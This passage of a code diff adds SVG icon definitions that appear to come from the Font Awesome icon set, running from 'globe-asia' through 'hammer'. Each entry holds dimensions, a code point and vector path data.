0-3.79-.7-5.24-1.96l-9.28-8.06a16.017 16.017 0 0 0-15.55-3.1l-31.17 10.39a11.95 11.95 0 0 0-8.17 11.34c0 4.53 2.56 8.66 6.61 10.69l11.08 5.54c9.41 4.71 19.79 7.16 30.31 7.16s22.59 27.29 32 32h66.75c8.49 0 16.62 3.37 22.63 9.37l13.69 13.69a30.503 30.503 0 0 1 8.93 21.57 46.536 46.536 0 0 1-13.72 32.98zM417 274.25c-5.79-1.45-10.84-5-14.15-9.97l-17.98-26.97a23.97 23.97 0 0 1 0-26.62l19.59-29.38c2.32-3.47 5.5-6.29 9.24-8.15l12.98-6.49C440.2 193.59 448 223.87 448 256c0 8.67-.74 17.16-1.82 25.54L417 274.25z" ], + "globe-asia": [ 496, 512, [], "f57e", "M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm-11.34 240.23c-2.89 4.82-8.1 7.77-13.72 7.77h-.31c-4.24 0-8.31 1.69-11.31 4.69l-5.66 5.66c-3.12 3.12-3.12 8.19 0 11.31l5.66 5.66c3 3 4.69 7.07 4.69 11.31V304c0 8.84-7.16 16-16 16h-6.11c-6.06 0-11.6-3.42-14.31-8.85l-22.62-45.23c-2.44-4.88-8.95-5.94-12.81-2.08l-19.47 19.46c-3 3-7.07 4.69-11.31 4.69H50.81C49.12 277.55 48 266.92 48 256c0-110.28 89.72-200 200-200 21.51 0 42.2 3.51 61.63 9.82l-50.16 38.53c-5.11 3.41-4.63 11.06.86 13.81l10.83 5.41c5.42 2.71 8.84 8.25 8.84 14.31V216c0 4.42-3.58 8-8 8h-3.06c-3.03 0-5.8-1.71-7.15-4.42-1.56-3.12-5.96-3.29-7.76-.3l-17.37 28.95zM408 358.43c0 4.24-1.69 8.31-4.69 11.31l-9.57 9.57c-3 3-7.07 4.69-11.31 4.69h-15.16c-4.24 0-8.31-1.69-11.31-4.69l-13.01-13.01a26.767 26.767 0 0 0-25.42-7.04l-21.27 5.32c-1.27.32-2.57.48-3.88.48h-10.34c-4.24 0-8.31-1.69-11.31-4.69l-11.91-11.91a8.008 8.008 0 0 1-2.34-5.66v-10.2c0-3.27 1.99-6.21 5.03-7.43l39.34-15.74c1.98-.79 3.86-1.82 5.59-3.05l23.71-16.89a7.978 7.978 0 0 1 4.64-1.48h12.09c3.23 0 6.15 1.94 7.39 4.93l5.35 12.85a4 4 0 0 0 3.69 2.46h3.8c1.78 0 3.35-1.18 3.84-2.88l4.2-14.47c.5-1.71 2.06-2.88 3.84-2.88h6.06c2.21 0 4 1.79 4 4v12.93c0 2.12.84 4.16 2.34 5.66l11.91 11.91c3 3 4.69 7.07 4.69 11.31v24.6z" ], + "globe-europe": [ 496, 512, [], "f7a2", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm200 248c0 22.5-3.9 44.2-10.8 64.4h-20.3c-4.3 0-8.4-1.7-11.4-4.8l-32-32.6c-4.5-4.6-4.5-12.1.1-16.7l12.5-12.5v-8.7c0-3-1.2-5.9-3.3-8l-9.4-9.4c-2.1-2.1-5-3.3-8-3.3h-16c-6.2 0-11.3-5.1-11.3-11.3 0-3 1.2-5.9 3.3-8l9.4-9.4c2.1-2.1 5-3.3 8-3.3h32c6.2 0 11.3-5.1 11.3-11.3v-9.4c0-6.2-5.1-11.3-11.3-11.3h-36.7c-8.8 0-16 7.2-16 16v4.5c0 6.9-4.4 13-10.9 15.2l-31.6 10.5c-3.3 1.1-5.5 4.1-5.5 7.6v2.2c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8s-3.6-8-8-8H247c-3 0-5.8 1.7-7.2 4.4l-9.4 18.7c-2.7 5.4-8.2 8.8-14.3 8.8H194c-8.8 0-16-7.2-16-16V199c0-4.2 1.7-8.3 4.7-11.3l20.1-20.1c4.6-4.6 7.2-10.9 7.2-17.5 0-3.4 2.2-6.5 5.5-7.6l40-13.3c1.7-.6 3.2-1.5 4.4-2.7l26.8-26.8c2.1-2.1 3.3-5 3.3-8 0-6.2-5.1-11.3-11.3-11.3H258l-16 16v8c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8v-20c0-2.5 1.2-4.9 3.2-6.4l28.9-21.7c1.9-.1 3.8-.3 5.7-.3C358.3 56 448 145.7 448 256zM130.1 149.1c0-3 1.2-5.9 3.3-8l25.4-25.4c2.1-2.1 5-3.3 8-3.3 6.2 0 11.3 5.1 11.3 11.3v16c0 3-1.2 5.9-3.3 8l-9.4 9.4c-2.1 2.1-5 3.3-8 3.3h-16c-6.2 0-11.3-5.1-11.3-11.3zm128 306.4v-7.1c0-8.8-7.2-16-16-16h-20.2c-10.8 0-26.7-5.3-35.4-11.8l-22.2-16.7c-11.5-8.6-18.2-22.1-18.2-36.4v-23.9c0-16 8.4-30.8 22.1-39l42.9-25.7c7.1-4.2 15.2-6.5 23.4-6.5h31.2c10.9 0 21.4 3.9 29.6 10.9l43.2 37.1h18.3c8.5 0 16.6 3.4 22.6 9.4l17.3 17.3c3.4 3.4 8.1 5.3 12.9 5.3H423c-32.4 58.9-93.8 99.5-164.9 103.1z" ], + "golf-ball": [ 416, 512, [], "f450", "M96 416h224c0 17.7-14.3 32-32 32h-16c-17.7 0-32 14.3-32 32v20c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-20c0-17.7-14.3-32-32-32h-16c-17.7 0-32-14.3-32-32zm320-208c0 74.2-39 139.2-97.5 176h-221C39 347.2 0 282.2 0 208 0 93.1 93.1 0 208 0s208 93.1 208 208zm-180.1 43.9c18.3 0 33.1-14.8 33.1-33.1 0-14.4-9.3-26.3-22.1-30.9 9.6 26.8-15.6 51.3-41.9 41.9 4.6 12.8 16.5 22.1 30.9 22.1zm49.1 46.9c0-14.4-9.3-26.3-22.1-30.9 9.6 26.8-15.6 51.3-41.9 41.9 4.6 12.8 16.5 22.1 30.9 22.1 18.3 0 33.1-14.9 33.1-33.1zm64-64c0-14.4-9.3-26.3-22.1-30.9 9.6 26.8-15.6 51.3-41.9 41.9 4.6 12.8 16.5 22.1 30.9 22.1 18.3 0 33.1-14.9 33.1-33.1z" ], + gopuram: [ 512, 512, [], "f664", "M496 352h-16V240c0-8.8-7.2-16-16-16h-16v-80c0-8.8-7.2-16-16-16h-16V16c0-8.8-7.2-16-16-16s-16 7.2-16 16v16h-64V16c0-8.8-7.2-16-16-16s-16 7.2-16 16v16h-64V16c0-8.8-7.2-16-16-16s-16 7.2-16 16v16h-64V16c0-8.8-7.2-16-16-16S96 7.2 96 16v112H80c-8.8 0-16 7.2-16 16v80H48c-8.8 0-16 7.2-16 16v112H16c-8.8 0-16 7.2-16 16v128c0 8.8 7.2 16 16 16h80V352h32V224h32v-96h32v96h-32v128h-32v160h80v-80c0-8.8 7.2-16 16-16h64c8.8 0 16 7.2 16 16v80h80V352h-32V224h-32v-96h32v96h32v128h32v160h80c8.8 0 16-7.2 16-16V368c0-8.8-7.2-16-16-16zM232 176c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v48h-48zm56 176h-64v-64c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16z" ], + "graduation-cap": [ 640, 512, [], "f19d", "M622.34 153.2L343.4 67.5c-15.2-4.67-31.6-4.67-46.79 0L17.66 153.2c-23.54 7.23-23.54 38.36 0 45.59l48.63 14.94c-10.67 13.19-17.23 29.28-17.88 46.9C38.78 266.15 32 276.11 32 288c0 10.78 5.68 19.85 13.86 25.65L20.33 428.53C18.11 438.52 25.71 448 35.94 448h56.11c10.24 0 17.84-9.48 15.62-19.47L82.14 313.65C90.32 307.85 96 298.78 96 288c0-11.57-6.47-21.25-15.66-26.87.76-15.02 8.44-28.3 20.69-36.72L296.6 284.5c9.06 2.78 26.44 6.25 46.79 0l278.95-85.7c23.55-7.24 23.55-38.36 0-45.6zM352.79 315.09c-28.53 8.76-52.84 3.92-65.59 0l-145.02-44.55L128 384c0 35.35 85.96 64 192 64s192-28.65 192-64l-14.18-113.47-145.03 44.56z" ], + "greater-than": [ 384, 512, [], "f531", "M365.52 209.85L59.22 67.01c-16.06-7.49-35.15-.54-42.64 15.52L3.01 111.61c-7.49 16.06-.54 35.15 15.52 42.64L236.96 256.1 18.49 357.99C2.47 365.46-4.46 384.5 3.01 400.52l13.52 29C24 445.54 43.04 452.47 59.06 445l306.47-142.91a32.003 32.003 0 0 0 18.48-29v-34.23c-.01-12.45-7.21-23.76-18.49-29.01z" ], + "greater-than-equal": [ 448, 512, [], "f532", "M55.22 107.69l175.56 68.09-175.44 68.05c-18.39 6.03-27.88 24.39-21.2 41l12.09 30.08c6.68 16.61 26.99 25.19 45.38 19.15L393.02 214.2c13.77-4.52 22.98-16.61 22.98-30.17v-15.96c0-13.56-9.21-25.65-22.98-30.17L91.3 17.92c-18.29-6-38.51 2.53-45.15 19.06L34.12 66.9c-6.64 16.53 2.81 34.79 21.1 40.79zM424 400H24c-13.25 0-24 10.74-24 24v48c0 13.25 10.75 24 24 24h400c13.25 0 24-10.75 24-24v-48c0-13.26-10.75-24-24-24z" ], + grimace: [ 496, 512, [], "f57f", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM144 400h-8c-17.7 0-32-14.3-32-32v-8h40v40zm0-56h-40v-8c0-17.7 14.3-32 32-32h8v40zm-8-136c0-17.7 14.3-32 32-32s32 14.3 32 32-14.3 32-32 32-32-14.3-32-32zm72 192h-48v-40h48v40zm0-56h-48v-40h48v40zm64 56h-48v-40h48v40zm0-56h-48v-40h48v40zm64 56h-48v-40h48v40zm0-56h-48v-40h48v40zm-8-104c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm64 128c0 17.7-14.3 32-32 32h-8v-40h40v8zm0-24h-40v-40h8c17.7 0 32 14.3 32 32v8z" ], + grin: [ 496, 512, [], "f580", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm80 168c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm-160 0c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm80 256c-60.6 0-134.5-38.3-143.8-93.3-2-11.8 9.3-21.6 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.3-3.7 22.6 6.1 20.7 17.9-9.3 55-83.2 93.3-143.8 93.3z" ], + "grin-alt": [ 496, 512, [], "f581", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm63.7 128.7c7.6-11.4 24.7-11.7 32.7 0 12.4 18.4 15.1 36.9 15.7 55.3-.5 18.4-3.3 36.9-15.7 55.3-7.6 11.4-24.7 11.7-32.7 0-12.4-18.4-15.1-36.9-15.7-55.3.5-18.4 3.3-36.9 15.7-55.3zm-160 0c7.6-11.4 24.7-11.7 32.7 0 12.4 18.4 15.1 36.9 15.7 55.3-.5 18.4-3.3 36.9-15.7 55.3-7.6 11.4-24.7 11.7-32.7 0-12.4-18.4-15.1-36.9-15.7-55.3.5-18.4 3.3-36.9 15.7-55.3zM248 432c-60.6 0-134.5-38.3-143.8-93.3-2-11.8 9.3-21.6 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.4-3.7 22.6 6.1 20.7 17.9-9.3 55-83.2 93.3-143.8 93.3z" ], + "grin-beam": [ 496, 512, [], "f582", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm80 144c23.8 0 52.7 29.3 56 71.4.7 8.6-10.8 11.9-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.1 7.3-15.6 4-14.9-4.5 3.1-42.1 32-71.4 55.8-71.4zm-160 0c23.8 0 52.7 29.3 56 71.4.7 8.6-10.8 11.9-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.2 7.4-15.6 4-14.9-4.5 3.1-42.1 32-71.4 55.8-71.4zm80 280c-60.6 0-134.5-38.3-143.8-93.3-2-11.9 9.4-21.6 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.4-3.7 22.6 6.1 20.7 17.9-9.3 55-83.2 93.3-143.8 93.3z" ], + "grin-beam-sweat": [ 504, 512, [], "f583", "M456 128c26.5 0 48-21 48-47 0-20-28.5-60.4-41.6-77.8-3.2-4.3-9.6-4.3-12.8 0C436.5 20.6 408 61 408 81c0 26 21.5 47 48 47zm0 32c-44.1 0-80-35.4-80-79 0-4.4.3-14.2 8.1-32.2C345 23.1 298.3 8 248 8 111 8 0 119 0 256s111 248 248 248 248-111 248-248c0-35.1-7.4-68.4-20.5-98.6-6.3 1.5-12.7 2.6-19.5 2.6zm-128-8c23.8 0 52.7 29.3 56 71.4.7 8.6-10.8 12-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.1 7.4-15.6 4-14.9-4.5 3.1-42.1 32-71.4 55.8-71.4zm-160 0c23.8 0 52.7 29.3 56 71.4.7 8.6-10.8 12-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.2 7.4-15.6 4-14.9-4.5 3.1-42.1 32-71.4 55.8-71.4zm80 280c-60.6 0-134.5-38.3-143.8-93.3-2-11.8 9.3-21.6 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.5-3.7 22.6 6.2 20.7 17.9-9.3 55-83.2 93.3-143.8 93.3z" ], + "grin-hearts": [ 496, 512, [], "f584", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM90.4 183.6c6.7-17.6 26.7-26.7 44.9-21.9l7.1 1.9 2-7.1c5-18.1 22.8-30.9 41.5-27.9 21.4 3.4 34.4 24.2 28.8 44.5L195.3 243c-1.2 4.5-5.9 7.2-10.5 6l-70.2-18.2c-20.4-5.4-31.9-27-24.2-47.2zM248 432c-60.6 0-134.5-38.3-143.8-93.3-2-11.8 9.2-21.5 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.4-3.6 22.6 6.1 20.7 17.9-9.3 55-83.2 93.3-143.8 93.3zm133.4-201.3l-70.2 18.2c-4.5 1.2-9.2-1.5-10.5-6L281.3 173c-5.6-20.3 7.4-41.1 28.8-44.5 18.6-3 36.4 9.8 41.5 27.9l2 7.1 7.1-1.9c18.2-4.7 38.2 4.3 44.9 21.9 7.7 20.3-3.8 41.9-24.2 47.2z" ], + "grin-squint": [ 496, 512, [], "f585", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm33.8 189.7l80-48c11.6-6.9 24 7.7 15.4 18L343.6 208l33.6 40.3c8.7 10.4-3.9 24.8-15.4 18l-80-48c-7.7-4.7-7.7-15.9 0-20.6zm-163-30c-8.6-10.3 3.8-24.9 15.4-18l80 48c7.8 4.7 7.8 15.9 0 20.6l-80 48c-11.5 6.8-24-7.6-15.4-18l33.6-40.3-33.6-40.3zM248 432c-60.6 0-134.5-38.3-143.8-93.3-2-11.9 9.4-21.6 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.5-3.7 22.6 6.2 20.7 17.9-9.3 55-83.2 93.3-143.8 93.3z" ], + "grin-squint-tears": [ 512, 512, [], "f586", "M409.6 111.9c22.6-3.2 73.5-12 88.3-26.8 19.2-19.2 18.9-50.6-.7-70.2S446-5 426.9 14.2c-14.8 14.8-23.5 65.7-26.8 88.3-.8 5.5 3.9 10.2 9.5 9.4zM102.4 400.1c-22.6 3.2-73.5 12-88.3 26.8-19.1 19.1-18.8 50.6.8 70.2s51 19.9 70.2.7c14.8-14.8 23.5-65.7 26.8-88.3.8-5.5-3.9-10.2-9.5-9.4zm311.7-256.5c-33 3.9-48.6-25.1-45.7-45.7 3.4-24 7.4-42.1 11.5-56.5C285.1-13.4 161.8-.5 80.6 80.6-.5 161.7-13.4 285 41.4 379.9c14.4-4.1 32.4-8 56.5-11.5 33.2-3.9 48.6 25.2 45.7 45.7-3.4 24-7.4 42.1-11.5 56.5 94.8 54.8 218.1 41.9 299.3-39.2s94-204.4 39.2-299.3c-14.4 4.1-32.5 8-56.5 11.5zM255.7 106c3.3-13.2 22.4-11.5 23.6 1.8l4.8 52.3 52.3 4.8c13.4 1.2 14.9 20.3 1.8 23.6l-90.5 22.6c-8.9 2.2-16.7-5.9-14.5-14.5l22.5-90.6zm-90.9 230.3L160 284l-52.3-4.8c-13.4-1.2-14.9-20.3-1.8-23.6l90.5-22.6c8.8-2.2 16.7 5.8 14.5 14.5L188.3 338c-3.1 13.2-22.2 11.7-23.5-1.7zm215.7 44.2c-29.3 29.3-75.7 50.4-116.7 50.4-18.9 0-36.6-4.5-51-14.7-9.8-6.9-8.7-21.8 2-27.2 28.3-14.6 63.9-42.4 97.8-76.3s61.7-69.6 76.3-97.8c5.4-10.5 20.2-11.9 27.3-2 32.3 45.3 7.1 124.7-35.7 167.6z" ], + "grin-stars": [ 496, 512, [], "f587", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM94.6 168.9l34.9-5 15.5-31.6c2.9-5.8 11-5.8 13.9 0l15.5 31.6 34.9 5c6.2 1 8.9 8.6 4.3 13.2l-25.4 24.6 6 34.9c1 6.2-5.3 11-11 7.9L152 233.3l-31.3 16.3c-5.7 3.1-12-1.7-11-7.9l6-34.9-25.4-24.6c-4.6-4.7-1.9-12.3 4.3-13.3zM248 432c-60.6 0-134.5-38.3-143.8-93.3-2-11.8 9.3-21.5 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.5-3.7 22.6 6.1 20.7 17.9-9.3 55-83.2 93.3-143.8 93.3zm157.7-249.9l-25.4 24.6 6 34.9c1 6.2-5.3 11-11 7.9L344 233.3l-31.3 16.3c-5.7 3.1-12-1.7-11-7.9l6-34.9-25.4-24.6c-4.5-4.6-1.9-12.2 4.3-13.2l34.9-5 15.5-31.6c2.9-5.8 11-5.8 13.9 0l15.5 31.6 34.9 5c6.3.9 9 8.5 4.4 13.1z" ], + "grin-tears": [ 640, 512, [], "f588", "M102.4 256.1c-22.6 3.2-73.5 12-88.3 26.8-19.1 19.1-18.8 50.6.8 70.2s51 19.9 70.2.7c14.8-14.8 23.5-65.7 26.8-88.3.8-5.5-3.9-10.2-9.5-9.4zm523.4 26.8c-14.8-14.8-65.7-23.5-88.3-26.8-5.5-.8-10.3 3.9-9.5 9.5 3.2 22.6 12 73.5 26.8 88.3 19.2 19.2 50.6 18.9 70.2-.7s20-51.2.8-70.3zm-129.4-12.8c-3.8-26.6 19.1-49.5 45.7-45.7 8.9 1.3 16.8 2.7 24.3 4.1C552.7 104.5 447.7 8 320 8S87.3 104.5 73.6 228.5c7.5-1.4 15.4-2.8 24.3-4.1 33.2-3.9 48.6 25.3 45.7 45.7-11.8 82.3-29.9 100.4-35.8 106.4-.9.9-2 1.6-3 2.5 42.7 74.6 123 125 215.2 125s172.5-50.4 215.2-125.1c-1-.9-2.1-1.5-3-2.5-5.9-5.9-24-24-35.8-106.3zM400 152c23.8 0 52.7 29.3 56 71.4.7 8.6-10.8 12-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.2 7.4-15.6 4-14.9-4.5 3.1-42.1 32-71.4 55.8-71.4zm-160 0c23.8 0 52.7 29.3 56 71.4.7 8.6-10.8 12-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.2 7.4-15.6 4-14.9-4.5 3.1-42.1 32-71.4 55.8-71.4zm80 280c-60.6 0-134.5-38.3-143.8-93.3-2-11.7 9.2-21.6 20.7-17.9C227.1 330.5 272 336 320 336s92.9-5.5 123.1-15.2c11.4-3.7 22.6 6.1 20.7 17.9-9.3 55-83.2 93.3-143.8 93.3z" ], + "grin-tongue": [ 496, 512, [], "f589", "M248 8C111 8 0 119 0 256c0 106.3 67 196.7 161 232-5.6-12.2-9-25.7-9-40v-45.5c-24.7-16.2-43.5-38.1-47.8-63.8-2-11.8 9.3-21.5 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.4-3.6 22.6 6.1 20.7 17.9-4.3 25.7-23.1 47.6-47.8 63.8V448c0 14.3-3.4 27.8-9 40 94-35.3 161-125.7 161-232C496 119 385 8 248 8zm-80 232c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm160 0c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm-34.9 134.6c-14.4-6.5-31.1 2.2-34.6 17.6l-1.8 7.8c-2.1 9.2-15.2 9.2-17.3 0l-1.8-7.8c-3.5-15.4-20.2-24.1-34.6-17.6-.9.4.3-.2-18.9 9.4v63c0 35.2 28 64.5 63.1 64.9 35.7.5 64.9-28.4 64.9-64v-64c-19.5-9.6-18.2-8.9-19-9.3z" ], + "grin-tongue-squint": [ 496, 512, [], "f58a", "M293.1 374.6c-14.4-6.5-31.1 2.2-34.6 17.6l-1.8 7.8c-2.1 9.2-15.2 9.2-17.3 0l-1.8-7.8c-3.5-15.4-20.2-24.1-34.6-17.6-.9.4.3-.2-18.9 9.4v63c0 35.2 28 64.5 63.1 64.9 35.7.5 64.9-28.4 64.9-64v-64c-19.5-9.6-18.2-8.9-19-9.3zM248 8C111 8 0 119 0 256c0 106.3 67 196.7 161 232-5.6-12.2-9-25.7-9-40v-45.5c-24.7-16.2-43.5-38.1-47.8-63.8-2-11.8 9.2-21.5 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.4-3.7 22.6 6.1 20.7 17.9-4.3 25.7-23.1 47.6-47.8 63.8V448c0 14.3-3.4 27.8-9 40 94-35.3 161-125.7 161-232C496 119 385 8 248 8zm-33.8 210.3l-80 48c-11.5 6.8-24-7.6-15.4-18l33.6-40.3-33.6-40.3c-8.6-10.3 3.8-24.9 15.4-18l80 48c7.7 4.7 7.7 15.9 0 20.6zm163 30c8.7 10.4-3.9 24.8-15.4 18l-80-48c-7.8-4.7-7.8-15.9 0-20.6l80-48c11.7-6.9 23.9 7.7 15.4 18L343.6 208l33.6 40.3z" ], + "grin-tongue-wink": [ 496, 512, [], "f58b", "M344 184c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zM248 8C111 8 0 119 0 256c0 106.3 67 196.7 161 232-5.6-12.2-9-25.7-9-40v-45.5c-24.7-16.2-43.5-38.1-47.8-63.8-2-11.8 9.3-21.5 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.5-3.7 22.6 6.1 20.7 17.9-4.3 25.7-23.1 47.6-47.8 63.8V448c0 14.3-3.4 27.8-9 40 94-35.3 161-125.7 161-232C496 119 385 8 248 8zm-56 225l-9.5-8.5c-14.8-13.2-46.2-13.2-61 0L112 233c-8.5 7.4-21.6.3-19.8-10.8 4-25.2 34.2-42.1 59.9-42.1S208 197 212 222.2c1.6 11.1-11.6 18.2-20 10.8zm152 39c-35.3 0-64-28.7-64-64s28.7-64 64-64 64 28.7 64 64-28.7 64-64 64zm-50.9 102.6c-14.4-6.5-31.1 2.2-34.6 17.6l-1.8 7.8c-2.1 9.2-15.2 9.2-17.3 0l-1.8-7.8c-3.5-15.4-20.2-24.1-34.6-17.6-.9.4.3-.2-18.9 9.4v63c0 35.2 28 64.5 63.1 64.9 35.7.5 64.9-28.4 64.9-64v-64c-19.5-9.6-18.2-8.9-19-9.3z" ], + "grin-wink": [ 496, 512, [], "f58c", "M0 256c0 137 111 248 248 248s248-111 248-248S385 8 248 8 0 119 0 256zm200-48c0 17.7-14.3 32-32 32s-32-14.3-32-32 14.3-32 32-32 32 14.3 32 32zm168 25l-9.5-8.5c-14.8-13.2-46.2-13.2-61 0L288 233c-8.3 7.4-21.6.4-19.8-10.8 4-25.2 34.2-42.1 59.9-42.1S384 197 388 222.2c1.6 11-11.5 18.2-20 10.8zm-243.1 87.8C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.3-3.7 22.6 6 20.7 17.9-9.2 55-83.2 93.3-143.8 93.3s-134.5-38.3-143.8-93.3c-2-11.9 9.3-21.6 20.7-17.9z" ], + "grip-horizontal": [ 448, 512, [], "f58d", "M96 288H32c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32zm160 0h-64c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32zm160 0h-64c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32zM96 96H32c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32zm160 0h-64c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32zm160 0h-64c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32z" ], + "grip-lines": [ 512, 512, [], "f7a4", "M496 288H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h480c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zm0-128H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h480c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16z" ], + "grip-lines-vertical": [ 256, 512, [], "f7a5", "M96 496V16c0-8.8-7.2-16-16-16H48c-8.8 0-16 7.2-16 16v480c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16zm128 0V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v480c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16z" ], + "grip-vertical": [ 320, 512, [], "f58e", "M96 32H32C14.33 32 0 46.33 0 64v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32V64c0-17.67-14.33-32-32-32zm0 160H32c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32zm0 160H32c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32zM288 32h-64c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32V64c0-17.67-14.33-32-32-32zm0 160h-64c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32zm0 160h-64c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32z" ], + guitar: [ 512, 512, [], "f7a6", "M502.63 39L473 9.37a32 32 0 0 0-45.26 0L381.46 55.7a35.14 35.14 0 0 0-8.53 13.79L360.77 106l-76.26 76.26c-12.16-8.76-25.5-15.74-40.1-19.14-33.45-7.78-67-.88-89.88 22a82.45 82.45 0 0 0-20.24 33.47c-6 18.56-23.21 32.69-42.15 34.46-23.7 2.27-45.73 11.45-62.61 28.44C-16.11 327-7.9 409 47.58 464.45S185 528 230.56 482.52c17-16.88 26.16-38.9 28.45-62.71 1.76-18.85 15.89-36.13 34.43-42.14a82.6 82.6 0 0 0 33.48-20.25c22.87-22.88 29.74-56.36 22-89.75-3.39-14.64-10.37-28-19.16-40.2L406 151.23l36.48-12.16a35.14 35.14 0 0 0 13.79-8.53l46.33-46.32a32 32 0 0 0 .03-45.22zM208 352a48 48 0 1 1 48-48 48 48 0 0 1-48 48z" ], + "h-square": [ 448, 512, [], "f0fd", "M448 80v352c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V80c0-26.51 21.49-48 48-48h352c26.51 0 48 21.49 48 48zm-112 48h-32c-8.837 0-16 7.163-16 16v80H160v-80c0-8.837-7.163-16-16-16h-32c-8.837 0-16 7.163-16 16v224c0 8.837 7.163 16 16 16h32c8.837 0 16-7.163 16-16v-80h128v80c0 8.837 7.163 16 16 16h32c8.837 0 16-7.163 16-16V144c0-8.837-7.163-16-16-16z" ], + hamburger: [ 512, 512, [], "f805", "M464 256H48a48 48 0 0 0 0 96h416a48 48 0 0 0 0-96zm16 128H32a16 16 0 0 0-16 16v16a64 64 0 0 0 64 64h352a64 64 0 0 0 64-64v-16a16 16 0 0 0-16-16zM58.64 224h394.72c34.57 0 54.62-43.9 34.82-75.88C448 83.2 359.55 32.1 256 32c-103.54.1-192 51.2-232.18 116.11C4 180.09 24.07 224 58.64 224zM384 112a16 16 0 1 1-16 16 16 16 0 0 1 16-16zM256 80a16 16 0 1 1-16 16 16 16 0 0 1 16-16zm-128 32a16 16 0 1 1-16 16 16 16 0 0 1 16-16z" ], + hammer: [ 576, 512, [], "f6e3", "M571.31 193.94l-22.63-22.63c-6.25-6.25-16.38-6.25-22.63 0l-11.31 11.31-28.9-28.9c5.63-21.31.36-44.9-16.35-61.61l-45.25-45.25c-62.48-62.48-163.79-62.48-226.28 0l90.51 45.25v18.75c0 16.97 6.74 33.25 18.75 45.25l49.14 